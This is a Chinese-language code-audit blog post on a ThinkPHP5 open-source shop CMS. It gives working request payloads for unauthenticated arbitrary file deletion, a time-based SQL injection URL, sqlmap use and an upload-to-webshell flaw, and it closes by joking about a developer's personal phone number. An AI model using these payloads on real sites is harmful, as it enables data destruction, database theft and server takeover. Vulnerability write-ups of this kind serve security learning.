审计某开源商城中的漏洞大礼包

代码审计 2019-11-10

首先这个 CMS 并不怎么出名,拿来当审计样板却很合适。给我的感觉是适合初级水平升中级之间的过程,也算是对上一篇审计文章的后续文了。

审计的版本为: 20180206 发布的免费版 2.0 。另外图很多,建议 PC 端体验更佳!

分析环境及入口

图中的 URL 会出现两个,这是因为部分在公司审计的,部分是周末在家审计的。

官网首页上有文档,里面注明了这套 CMS 所使用环境:

ThinkPHP5.0 + MySQL

这样看来实际上我们只需要熟悉 TP5,就能大体知道该 CMS 的请求流程,而 TP5 中有个很有用的东西叫 路由,通过相关 URL 快速定位源码代码位置。

img

当然我们在本地部署好站点后,在前台任意点击一个URL:

http://demo.com/index.php?s=/helpcenter/index&id=1

其对应的文件路径为

application/shop/controller/Helpcenter.php

方法则是该文件中的 index() ,参数为 id

我的习惯是通读代码,所以让我从中找到了很多有意思的地方。

前台两处任意文件删除

一次删除一个

问题代码位于:

application/wap/controller/Components.php

方法:

img

这段代码非常直白,居然还是 public 方法,未做任何校验直接删除 post 参数提交过来的文件路径。

我当时看到这里直接是懵逼的,开发新手也不会写这样的代码吧?

删除安装锁文件

Payload:

http://demo.com/index.php?s=/wap/Components/deleteImgUpload

Post Data:

imgsrc=install.lock

权限够的话 imgsrc 参数中如果加 ../ 是可以删根目录上级文件夹中文件。

一次删除多个

问题代码位于:

application/wap/controller/Upload.php

方法:

img

同样的,依然是 public 方法,未做任何校验直接删除 post 参数提交过来的文件路径。

删除安装锁文件

Payload:

http://demo.com/index.php?s=/wap/Upload/removeFile

Post Data:

filename=install.lock,test1.txt,test2.txt

权限够的话 filename 参数中如果加 ../ 是可以删根目录上级文件夹中文件。

前台两处 sql 注入

第一处在 getGoodsListByKeyWord 方法

问题出现在 application/shop/controller/Goods.php 文件中,我们直接看到代码。

img

img

img

img

直接放到 sqlmap 中跑一遍试试:

img

可以看到,这是一处报错回显的 sql 漏洞。

我们来验证一下。

img

OK! 我们现在可以直接用 sqlmap 跑库了。

第二处出现在 promotionZone 方法

img

nice! 这里出现了一个无单引号闭合的 SQL 拼接,我们持续跟进一下。

img

img

先用 sqlmap 测试一下

img

666666,可以看到攻击是成功的。


其实到这里就应该结束了,我也不知道为什么我要接着写下去。 麻烦的不是如何找漏洞,而是你需要将这些知识通过语言整理出来,让阅读的人能理解,能学习。

安装好 xdebug 后,我们来跟踪调试一波,定位下问题是如何出现的,在那出现的。

当然我们输入:

http://cms.com/index.php?s=/shop/Goods/promotionZone&page=1&group_id=1 AND (SELECT * FROM (SELECT(SLEEP(5)))uNuh)

这段 Payload 后,发现已经中断生效。

接着我们开始单步跟踪。

img

进入到 thinkphp/library/think/db/Query.php 文件中的 where() 方法。

img

前台上传 getshell

问题代码位于:

application/wap/controller/Upload.php

中的 uploadFile() 方法。

img

然后我们来看看验证函数:

img

上传文件的目录在代码中也有给出:

img

本地构建 Payload :

img

img

Payload脚本

hacker.php
    <?php phpinfo(); ?>
Payload.php

img

img

有意思的地方

最后还知道了一个开发人员手机号,并确认其姓名。要不要给他打个电话拜个年?

img

img

img

img


本文由 信安之路 创作,采用 知识共享署名 3.0,可自由转载、引用,但需署名作者且注明文章出处。

楼主残忍的关闭了评论